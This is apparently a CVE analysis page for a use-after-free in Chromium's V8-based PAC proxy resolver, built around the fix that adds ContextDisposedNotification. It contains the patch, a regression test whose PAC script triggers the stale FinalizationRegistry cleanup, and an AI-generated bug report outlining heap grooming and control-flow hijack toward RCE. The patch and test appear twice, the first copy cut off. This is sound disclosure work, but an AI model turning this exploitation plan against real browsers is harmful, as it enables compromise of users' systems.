CVE-2026-9887
Overview
Background
- `ProxyResolverV8` / `ProxyResolverV8::Context`
- the V8-backed PAC (Proxy Auto-Config) script evaluator; each resolver owns a C++
Contextwrapping a V8 context, and multiple resolvers share a single V8Isolate. - Shared gin task runner
- the gin foreground task runner for the shared isolate is bound to the first resolver’s worker thread, so GC-posted tasks from any resolver run on that one thread’s queue.
- `FinalizationRegistry`
- a JavaScript feature that schedules a cleanup callback after an object is garbage-collected; here the cleanup task is posted to the shared task runner.
- `ContextDisposedNotification`
- a V8 API that tells the isolate a context is being disposed, which (among other effects) prunes dirty
FinalizationRegistryentries tied to that context.
Root Cause Analysis
In services/proxy_resolver/proxy_resolver_v8.cc, several ProxyResolverV8::Context objects share one V8 isolate whose gin foreground task runner is pinned to the first resolver’s worker thread. If a second resolver’s PAC script uses a FinalizationRegistry, garbage collection posts a cleanup task to that shared task runner; the pre-patch ~Context() destructor tore down the context (resetting v8_this_ and v8_context_) without informing V8 that the context was going away. If the second resolver is destroyed before the posted cleanup task runs, its C++ Context is freed, but the stale cleanup task remains queued; when the shared worker thread later unparks and drains its queue, the cleanup task invokes PAC callbacks (e.g. alert()) that attempt to access the already-freed ProxyResolverV8::Context, a use-after-free.
The fix adds code to ~Context() that, when v8_context_ is non-empty, enters the context’s scope and calls isolate_->ContextDisposedNotification(v8::ContextDependants::kNoDependants) before resetting the handles; this prunes the dying context’s dirty FinalizationRegistry entries so no stale cleanup task survives to run against freed memory.
The restored invariant is that a disposed context leaves behind no pending GC cleanup tasks bound to it.
ProxyResolverV8::Context without notifying V8, leaving that context’s FinalizationRegistry cleanup tasks queued on the shared task runner to fire against freed memory; the fix calls ContextDisposedNotification in ~Context() to prune those dirty registries at teardown.Attack Path
- Share the isolate across resolvers
Create a first resolver (B) whose worker thread becomes the shared isolate’s foreground task-runner thread, then start a PAC request that parks that thread (the regression test defers B’s second
dnsResolveso its worker parks while unlocked). - Register a FinalizationRegistry in a second resolver
Create a second resolver (A) whose PAC script registers an object with a
FinalizationRegistry, drops the reference, and forces GC, causing a cleanup task to be posted to the shared (B’s) task-runner queue behind the parked work. - Destroy the second resolver first
Destroy resolver A, freeing its C++
ProxyResolverV8::Context; pre-patch this leaves the posted cleanup task queued and still associated with the now-freed context. - Unpark and run the stale task
Complete the deferred DNS resolve so B’s worker thread drains its queue and runs the pending cleanup task, which invokes PAC callbacks against the freed
Context— the use-after-free. - Browser/proxy-service corruption (inferred)
The access occurs in the proxy-resolver service process; any primitive beyond the crash is not shown by the diff and is
(inferred).
Impact Assessment
FinalizationRegistry-using script in one resolver, destroyed before its GC cleanup task runs on the shared worker) can trigger a use-after-free of a freed ProxyResolverV8::Context in the proxy-resolver service; the vendor advisory rates this critical and classifies it as a use-after-free in Proxy. Preconditions include multiple resolvers sharing one isolate, PAC evaluation using FinalizationRegistry plus GC, and specific teardown/timing so the cleanup task outlives the context (the test uses --expose-gc and a deferred DNS resolve to force this ordering). The diff demonstrates the dangling-context access via the stale cleanup task; escalation beyond a crash is (inferred), and the advisory does not report in-the-wild exploitation.Changed Functions
| Function | Change | Notes |
|---|---|---|
ProxyResolverV8TracingTestservices/proxy_resolver/proxy_resolver_v8_tracing_unittest.cc |
modified | |
DeferredProxyHostResolverservices/proxy_resolver/proxy_resolver_v8_tracing_unittest.cc |
modified | |
RequestImplservices/proxy_resolver/proxy_resolver_v8_tracing_unittest.cc |
modified | |
ifservices/proxy_resolver/proxy_resolver_v8_tracing_unittest.cc |
modified | |
TEST_Fservices/proxy_resolver/proxy_resolver_v8_tracing_unittest.cc |
modified |
Files Changed
services/proxy_resolver/proxy_resolver_v8.ccservices/proxy_resolver/proxy_resolver_v8_tracing_unittest.cc
Audit Directions
- Shared-isolate / shared-task-runner lifetimesAudit code where multiple C++ wrappers share one V8 isolate and a single task runner, confirming each wrapper’s teardown cancels or invalidates tasks it posted that outlive it.
- GC/finalizer callbacks and C++ object lifetimeReview uses of
FinalizationRegistry, weak callbacks, and other GC-driven callbacks to ensure the backing C++ context is still alive when the callback runs, or that disposal prunes them (ContextDisposedNotificationor equivalent). - Missing context-disposal notificationsSearch V8-embedding destructors that reset context handles without a corresponding
ContextDisposedNotification, since omitting it can leave engine-side bookkeeping (including pending cleanup tasks) pointing at freed embedder objects.
Patch
From 69cbd069c58bc2d118605ef776a1570365d5c143 Mon Sep 17 00:00:00 2001
From: Kenichi Ishibashi <bashi@chromium.org>
Date: Thu, 21 May 2026 18:30:18 -0700
Subject: [PATCH] [ProxyResolver] Prune dirty FinalizationRegistries upon Context disposal
In ProxyResolver, multiple resolvers share a V8 Isolate, where the gin
task runner is bound to the first resolver's worker thread.
If a second resolver uses a FinalizationRegistry, GC can post a cleanup
task to the shared task runner. If the second resolver is destroyed
before the task runs, its C++ Context is freed. When the shared task
runner unparks, the stale cleanup task invokes PAC callbacks (e.g.,
alert()), attempting to access the freed ProxyResolverV8::Context and
leading to a crash.
This CL fixes the issue by calling ContextDisposedNotification() in
ProxyResolverV8::Context::~Context(). This prunes dirty
FinalizationRegistries associated with the dying context, preventing
stale cleanup tasks from running.
This CL also adds a unit test verifying safe teardown upon context
disposal.
Bug: 511249104
Change-Id: I70fcc0a72e27b6a7a16b934b33d3132cdcae09a0
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7849461
Reviewed-by: Adam Rice <ricea@chromium.org>
Commit-Queue: Kenichi Ishibashi <bashi@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1634656}
---
diff --git a/services/proxy_resolver/proxy_resolver_v8.cc b/services/proxy_resolver/proxy_resolver_v8.cc
index 6e931d72..cd25935 100644
--- a/services/proxy_resolver/proxy_resolver_v8.cc
+++ b/services/proxy_resolver/proxy_resolver_v8.cc
@@ -444,6 +444,14 @@
~Context() {
v8::Locker locked(isolate_);
v8::Isolate::Scope isolate_scope(isolate_);
+ if (!v8_context_.IsEmpty()) {
+ v8::HandleScope scope(isolate_);
+ v8::Local<v8::Context> context =
+ v8::Local<v8::Context>::New(isolate_, v8_context_);
+ v8::Context::Scope context_scope(context);
+ isolate_->ContextDisposedNotification(
+ v8::ContextDependants::kNoDependants);
+ }
v8_this_.Reset();
v8_context_.Reset();
diff --git a/services/proxy_resolver/proxy_resolver_v8_tracing_unittest.cc b/services/proxy_resolver/proxy_resolver_v8_tracing_unittest.cc
index 881913e..78337472f 100644
--- a/services/proxy_resolver/proxy_resolver_v8_tracing_unittest.cc
+++ b/services/proxy_resolver/proxy_resolver_v8_tracing_unittest.cc
@@ -37,6 +37,7 @@
#include "testing/gtest/include/gtest/gtest.h"
#include "url/gurl.h"
#include "url/origin.h"
+#include "v8/include/v8.h"
using net::test::IsError;
using net::test::IsOk;
@@ -47,6 +48,13 @@
class ProxyResolverV8TracingTest : public testing::Test {
public:
+ static void SetUpTestSuite() {
+ // Set the flag to expose garbage collection. This must be done before V8
+ // is initialized.
+ static constexpr char kExposeGc[] = "--expose-gc";
+ v8::V8::SetFlagsFromString(kExposeGc);
+ }
+
void TearDown() override {
// Drain any pending messages, which may be left over from cancellation.
// This way they get reliably run as part of the current test, rather than
@@ -150,22 +158,93 @@
net::EventWaiter<Event> waiter_;
};
-std::unique_ptr<ProxyResolverV8Tracing> CreateResolver(
+// Helper function to create and initialize a ProxyResolverV8Tracing instance
+// directly from net::PacFileData without requiring an external file.
+std::unique_ptr<ProxyResolverV8Tracing> CreateResolverWithScriptData(
std::unique_ptr<ProxyResolverV8Tracing::Bindings> bindings,
- const char* filename) {
+ scoped_refptr<net::PacFileData> script_data) {
std::unique_ptr<ProxyResolverV8Tracing> resolver;
std::unique_ptr<ProxyResolverV8TracingFactory> factory(
ProxyResolverV8TracingFactory::Create());
net::TestCompletionCallback callback;
std::unique_ptr<net::ProxyResolverFactory::Request> request;
- factory->CreateProxyResolverV8Tracing(LoadScriptData(filename),
- std::move(bindings), &resolver,
- callback.callback(), &request);
+ factory->CreateProxyResolverV8Tracing(script_data, std::move(bindings),
+ &resolver, callback.callback(),
+ &request);
EXPECT_THAT(callback.WaitForResult(), IsOk());
EXPECT_TRUE(resolver);
return resolver;
}
+std::unique_ptr<ProxyResolverV8Tracing> CreateResolver(
+ std::unique_ptr<ProxyResolverV8Tracing::Bindings> bindings,
+ const char* filename) {
+ return CreateResolverWithScriptData(std::move(bindings),
+ LoadScriptData(filename));
+}
+
+// A mock ProxyHostResolver that allows intercepting and deferring the
+// completion of a specific DNS resolution request ("second"), allowing tests to
+// coordinate the exact timing of worker thread unparking.
+class DeferredProxyHostResolver : public ProxyHostResolver {
+ public:
+ DeferredProxyHostResolver() = default;
+ ~DeferredProxyHostResolver() override = default;
+
+ class RequestImpl : public Request {
+ public:
+ RequestImpl(DeferredProxyHostResolver* resolver,
+ const std::string& hostname)
+ : resolver_(resolver),
+ hostname_(hostname),
+ results_({net::IPAddress(127, 0, 0, 1)}) {}
+ ~RequestImpl() override = default;
+
+ int Start(net::CompletionOnceCallback callback) override {
+ if (hostname_ == "second") {
+ resolver_->second_callback_ = std::move(callback);
+ if (resolver_->on_second_request_) {
+ std::move(resolver_->on_second_request_).Run();
+ }
+ return net::ERR_IO_PENDING;
+ }
+ base::SingleThreadTaskRunner::GetCurrentDefault()->PostTask(
+ FROM_HERE, base::BindOnce(std::move(callback), net::OK));
+ return net::ERR_IO_PENDING;
+ }
+
+ const std::vector<net::IPAddress>& GetResults() const override {
+ return results_;
+ }
+
+ private:
+ raw_ptr<DeferredProxyHostResolver> resolver_;
+ std::string hostname_;
+ std::vector<net::IPAddress> results_;
+ };
+
+ std::unique_ptr<Request> CreateRequest(
+ const std::string& hostname,
+ net::ProxyResolveDnsOperation operation,
+ const net::NetworkAnonymizationKey& network_anonymization_key) override {
+ return std::make_unique<RequestImpl>(this, hostname);
+ }
+
+ void ResolveSecond() {
+ if (second_callback_) {
+ std::move(second_callback_).Run(net::OK);
+ }
+ }
+
+ void SetOnSecondRequest(base::OnceClosure callback) {
+ on_second_request_ = std::move(callback);
+ }
+
+ private:
+ net::CompletionOnceCallback second_callback_;
+ base::OnceClosure on_second_request_;
+};
+
TEST_F(ProxyResolverV8TracingTest, Simple) {
MockProxyHostResolver host_resolver;
MockBindings mock_bindings(&host_resolver);
@@ -1118,6 +1197,81 @@
proxy_info.proxy_chain().ToDebugString());
}
+// Verifies that FinalizationRegistry cleanup tasks posted from one resolver
+// do not execute in the context of another resolver after the original context
+// has been disposed.
+TEST_F(ProxyResolverV8TracingTest, FinalizationRegistryCleanup) {
+ DeferredProxyHostResolver host_resolver;
+ MockBindings mock_bindings_b(&host_resolver);
+ MockBindings mock_bindings_a(&host_resolver);
+
+ base::RunLoop run_loop_second;
+ host_resolver.SetOnSecondRequest(run_loop_second.QuitClosure());
+
+ // Step 1: Create resolver B. Its worker thread becomes the shared gin
+ // IsolateHolder's foreground task runner.
+ scoped_refptr<net::PacFileData> script_b = net::PacFileData::FromUTF8(
+ "function FindProxyForURL(url, host) {\n"
+ " dnsResolve('first');\n"
+ " dnsResolve('second');\n"
+ " return 'DIRECT';\n"
+ "}\n");
+ std::unique_ptr<ProxyResolverV8Tracing> resolver_b =
+ CreateResolverWithScriptData(mock_bindings_b.CreateBindings(), script_b);
Regression Test / PoC
diff --git a/services/proxy_resolver/proxy_resolver_v8_tracing_unittest.cc b/services/proxy_resolver/proxy_resolver_v8_tracing_unittest.cc
index 881913e..78337472f 100644
--- a/services/proxy_resolver/proxy_resolver_v8_tracing_unittest.cc
+++ b/services/proxy_resolver/proxy_resolver_v8_tracing_unittest.cc
@@ -37,6 +37,7 @@
#include "testing/gtest/include/gtest/gtest.h"
#include "url/gurl.h"
#include "url/origin.h"
+#include "v8/include/v8.h"
using net::test::IsError;
using net::test::IsOk;
@@ -47,6 +48,13 @@
class ProxyResolverV8TracingTest : public testing::Test {
public:
+ static void SetUpTestSuite() {
+ // Set the flag to expose garbage collection. This must be done before V8
+ // is initialized.
+ static constexpr char kExposeGc[] = "--expose-gc";
+ v8::V8::SetFlagsFromString(kExposeGc);
+ }
+
void TearDown() override {
// Drain any pending messages, which may be left over from cancellation.
// This way they get reliably run as part of the current test, rather than
@@ -150,22 +158,93 @@
net::EventWaiter<Event> waiter_;
};
-std::unique_ptr<ProxyResolverV8Tracing> CreateResolver(
+// Helper function to create and initialize a ProxyResolverV8Tracing instance
+// directly from net::PacFileData without requiring an external file.
+std::unique_ptr<ProxyResolverV8Tracing> CreateResolverWithScriptData(
std::unique_ptr<ProxyResolverV8Tracing::Bindings> bindings,
- const char* filename) {
+ scoped_refptr<net::PacFileData> script_data) {
std::unique_ptr<ProxyResolverV8Tracing> resolver;
std::unique_ptr<ProxyResolverV8TracingFactory> factory(
ProxyResolverV8TracingFactory::Create());
net::TestCompletionCallback callback;
std::unique_ptr<net::ProxyResolverFactory::Request> request;
- factory->CreateProxyResolverV8Tracing(LoadScriptData(filename),
- std::move(bindings), &resolver,
- callback.callback(), &request);
+ factory->CreateProxyResolverV8Tracing(script_data, std::move(bindings),
+ &resolver, callback.callback(),
+ &request);
EXPECT_THAT(callback.WaitForResult(), IsOk());
EXPECT_TRUE(resolver);
return resolver;
}
+std::unique_ptr<ProxyResolverV8Tracing> CreateResolver(
+ std::unique_ptr<ProxyResolverV8Tracing::Bindings> bindings,
+ const char* filename) {
+ return CreateResolverWithScriptData(std::move(bindings),
+ LoadScriptData(filename));
+}
+
+// A mock ProxyHostResolver that allows intercepting and deferring the
+// completion of a specific DNS resolution request ("second"), allowing tests to
+// coordinate the exact timing of worker thread unparking.
+class DeferredProxyHostResolver : public ProxyHostResolver {
+ public:
+ DeferredProxyHostResolver() = default;
+ ~DeferredProxyHostResolver() override = default;
+
+ class RequestImpl : public Request {
+ public:
+ RequestImpl(DeferredProxyHostResolver* resolver,
+ const std::string& hostname)
+ : resolver_(resolver),
+ hostname_(hostname),
+ results_({net::IPAddress(127, 0, 0, 1)}) {}
+ ~RequestImpl() override = default;
+
+ int Start(net::CompletionOnceCallback callback) override {
+ if (hostname_ == "second") {
+ resolver_->second_callback_ = std::move(callback);
+ if (resolver_->on_second_request_) {
+ std::move(resolver_->on_second_request_).Run();
+ }
+ return net::ERR_IO_PENDING;
+ }
+ base::SingleThreadTaskRunner::GetCurrentDefault()->PostTask(
+ FROM_HERE, base::BindOnce(std::move(callback), net::OK));
+ return net::ERR_IO_PENDING;
+ }
+
+ const std::vector<net::IPAddress>& GetResults() const override {
+ return results_;
+ }
+
+ private:
+ raw_ptr<DeferredProxyHostResolver> resolver_;
+ std::string hostname_;
+ std::vector<net::IPAddress> results_;
+ };
+
+ std::unique_ptr<Request> CreateRequest(
+ const std::string& hostname,
+ net::ProxyResolveDnsOperation operation,
+ const net::NetworkAnonymizationKey& network_anonymization_key) override {
+ return std::make_unique<RequestImpl>(this, hostname);
+ }
+
+ void ResolveSecond() {
+ if (second_callback_) {
+ std::move(second_callback_).Run(net::OK);
+ }
+ }
+
+ void SetOnSecondRequest(base::OnceClosure callback) {
+ on_second_request_ = std::move(callback);
+ }
+
+ private:
+ net::CompletionOnceCallback second_callback_;
+ base::OnceClosure on_second_request_;
+};
+
TEST_F(ProxyResolverV8TracingTest, Simple) {
MockProxyHostResolver host_resolver;
MockBindings mock_bindings(&host_resolver);
@@ -1118,6 +1197,81 @@
proxy_info.proxy_chain().ToDebugString());
}
+// Verifies that FinalizationRegistry cleanup tasks posted from one resolver
+// do not execute in the context of another resolver after the original context
+// has been disposed.
+TEST_F(ProxyResolverV8TracingTest, FinalizationRegistryCleanup) {
+ DeferredProxyHostResolver host_resolver;
+ MockBindings mock_bindings_b(&host_resolver);
+ MockBindings mock_bindings_a(&host_resolver);
+
+ base::RunLoop run_loop_second;
+ host_resolver.SetOnSecondRequest(run_loop_second.QuitClosure());
+
+ // Step 1: Create resolver B. Its worker thread becomes the shared gin
+ // IsolateHolder's foreground task runner.
+ scoped_refptr<net::PacFileData> script_b = net::PacFileData::FromUTF8(
+ "function FindProxyForURL(url, host) {\n"
+ " dnsResolve('first');\n"
+ " dnsResolve('second');\n"
+ " return 'DIRECT';\n"
+ "}\n");
+ std::unique_ptr<ProxyResolverV8Tracing> resolver_b =
+ CreateResolverWithScriptData(mock_bindings_b.CreateBindings(), script_b);
+
+ // Step 2: Start a PAC request on resolver B. The script initiates two DNS
+ // resolves. The second resolve is deferred by DeferredProxyHostResolver,
+ // causing resolver B's worker thread to park while unlocked.
+ net::TestCompletionCallback callback_b;
+ net::ProxyInfo proxy_info_b;
+ std::unique_ptr<net::ProxyResolver::Request> req_b;
+ resolver_b->GetProxyForURL(
+ GURL("http://foo/"), net::NetworkAnonymizationKey(), &proxy_info_b,
+ callback_b.callback(), &req_b, mock_bindings_b.CreateBindings());
+
+ run_loop_second.Run();
+
+ // Step 3: Create resolver A. The PAC script registers a target object with
+ // FinalizationRegistry, severs its reference (globalTarget = null), and uses
+ // a deeply recursive function (deepClobber) to clobber any residual stack
+ // frames or temporary registers in the V8 interpreter. This ensures the
+ // target object becomes completely unreachable before forcing garbage
+ // collection. The resulting cleanup task is posted to the shared foreground
+ // task runner (resolver B's worker thread queue, behind the parked DNS
+ // resolve).
+ scoped_refptr<net::PacFileData> script_a = net::PacFileData::FromUTF8(
+ "let registry = new FinalizationRegistry((val) => {\n"
+ " alert(val);\n"
+ "});\n"
+ "let globalTarget = {};\n"
+ "registry.register(globalTarget, 'foo');\n"
+ "globalTarget = null;\n"
+ "function deepClobber(n) {\n"
+ " if (n <= 0) return 0;\n"
+ " let a = 1, b = 2, c = 3, d = 4, e = 5;\n"
+ " return a + b + c + d + e + deepClobber(n - 1);\n"
+ "}\n"
+ "deepClobber(100);\n"
+ "gc();\n"
+ "function FindProxyForURL(url, host) {\n"
+ " return 'DIRECT';\n"
+ "}\n");
+ std::unique_ptr<ProxyResolverV8Tracing> resolver_a =
+ CreateResolverWithScriptData(mock_bindings_a.CreateBindings(), script_a);
+
+ // Step 4: Destroy resolver A. This disposes of its C++ Context.
+ resolver_a.reset();
+
+ // Step 5: Complete the deferred DNS resolve for resolver B. This unparks
+ // resolver B's worker thread, allowing it to drain its task queue and execute
+ // the pending FinalizationRegistry cleanup task.
+ host_resolver.ResolveSecond();
+
+ // Step 6: Wait for resolver B's request to complete. Verify that the cleanup
+ // task does not attempt to access the disposed context.
+ EXPECT_THAT(callback_b.WaitForResult(), IsOk());
+}
+
} // namespace
} // namespace proxy_resolver
Original Bug Report
Potential UAF in ProxyResolverV8::Context via FinalizationRegistry cleanup
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: A potential Use-After-Free exists in the proxy resolver service due to improper lifecycle management of a shared V8 isolate’s task runner. An attacker can use a PAC script’s FinalizationRegistry to queue a callback that executes after the resolver’s context is destroyed, bypassing MiraclePtr and leading to RCE.
Affected files:
services/proxy_resolver/proxy_resolver_v8.ccservices/proxy_resolver/proxy_resolver_v8_tracing.ccgin/v8_foreground_task_runner_with_locker.ccv8/src/heap/heap.ccv8/src/heap/finalization-registry-cleanup-task.cc
Estimated timestamp from git blame: 2025-10-02
Overview
A potential Use-After-Free (UAF) vulnerability exists in the PAC (Proxy Auto-Config) resolver implementation. The issue stems from how multiple ProxyResolverV8 instances share a single v8::Isolate and its associated foreground task runner. An attacker can manipulate JavaScript garbage collection using FinalizationRegistry to schedule a cleanup task that executes after the originating ProxyResolverV8::Context has been destroyed. Because the dangling pointer is retrieved from a v8::External object, it bypasses MiraclePtr (BackupRefPtr) protections, allowing for Remote Code Execution (RCE).
Technical Details
When multiple proxy resolvers are active in the same process, they share a global v8::Isolate managed by SharedIsolateFactory. The factory lazily initializes the isolate via gin::IsolateHolder upon the first request. Crucially, it binds the isolate’s foreground task runner to the worker thread of the first resolver created (Thread A).
If a second resolver (Resolver B) executes a PAC script on its own worker thread (Thread B), it can create a FinalizationRegistry. When objects registered in this registry are garbage collected, V8 posts a FinalizationRegistryCleanupTask. Because the foreground task runner is permanently bound to Thread A, this cleanup task is queued on Thread A’s message loop, regardless of which resolver triggered it.
An attacker can reliably trigger the UAF using the following sequence:
- Stall Thread A: The attacker provides a PAC script for
Resolver Athat callsdnsResolve("slow.server.com")during initialization. This call drops thev8::Lockerand completely blocksThread Awaiting on abase::WaitableEvent. - Queue Cleanup Task: While
Thread Ais blocked,Resolver Bruns onThread B, creates aFinalizationRegistry, registers a callback (e.g., callingalert()), and drops object references to trigger GC. V8 posts the cleanup task toThread A’s currently blocked message loop. - Destroy Context:
Resolver Bis destroyed (e.g., via a WPAD update). Its C++ProxyResolverV8::Contextobject is freed. However, thev8::Externalobject containing the rawthispointer remains alive in V8’s heap, tied to the pending cleanup task. - Groom the Heap: The attacker uses another active PAC script to spray allocations via
PartitionAlloc(e.g., using unbounded DNS cache entries inJob::dns_cache_). Because the freedContextobject is small (~80 bytes), the attacker can cleanly overwrite it with controlled data. - Execute Callback: The DNS resolution on
Thread Acompletes.Thread Aunblocks, finishes its script, and processes its message loop, executing the queuedFinalizationRegistryCleanupTask. - UAF / RCE: The JS cleanup callback calls
alert(), invoking the C++ProxyResolverV8::Context::AlertCallback. The code extracts the danglingContext*pointer from thev8::Externaldata. It then blindly dereferences the attacker-controlled memory to make a virtual function call (context->js_bindings()->Alert(message)), resulting in a control-flow hijack.
Note: These steps are based on static analysis of the Chromium codebase; our tooling does not yet execute code to provide a working proof of concept.
Exploitability
This vulnerability is highly exploitable because the dangling pointer is stored as a raw void* within a v8::External object. v8::External objects are managed by V8 and are not protected by MiraclePtr/BackupRefPtr. Furthermore, the attacker has excellent heap grooming capabilities within the proxy resolver process by caching long strings in dnsResolve calls.
On Desktop, this leads to RCE within the sandboxed proxy_resolver utility process. On Android (where the network service and proxy resolver often run in-process), this can lead to RCE directly in the browser process.
Suggested Fix
There are two primary ways to fix this issue:
- Disable FinalizationRegistry in PAC Scripts: PAC scripts are designed to be simple, synchronous functions (
FindProxyForURL). They should not have access to advanced asynchronous features likeFinalizationRegistry. Removing this feature from the V8 context created for PAC scripts eliminates the vulnerability class entirely. - Invalidate Callbacks on Context Destruction: Ensure that the C++
ProxyResolverV8::Contextexplicitly clears or invalidates thev8::Externalpointer (or uses abase::WeakPtrequivalent for V8 callbacks) when it is destroyed, preventing C++ callbacks from dereferencingthisafter the object is freed.
Evaluated with Chrome root at commit: eca8648a4e1cdfdda68c495a6003059fed641955
Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.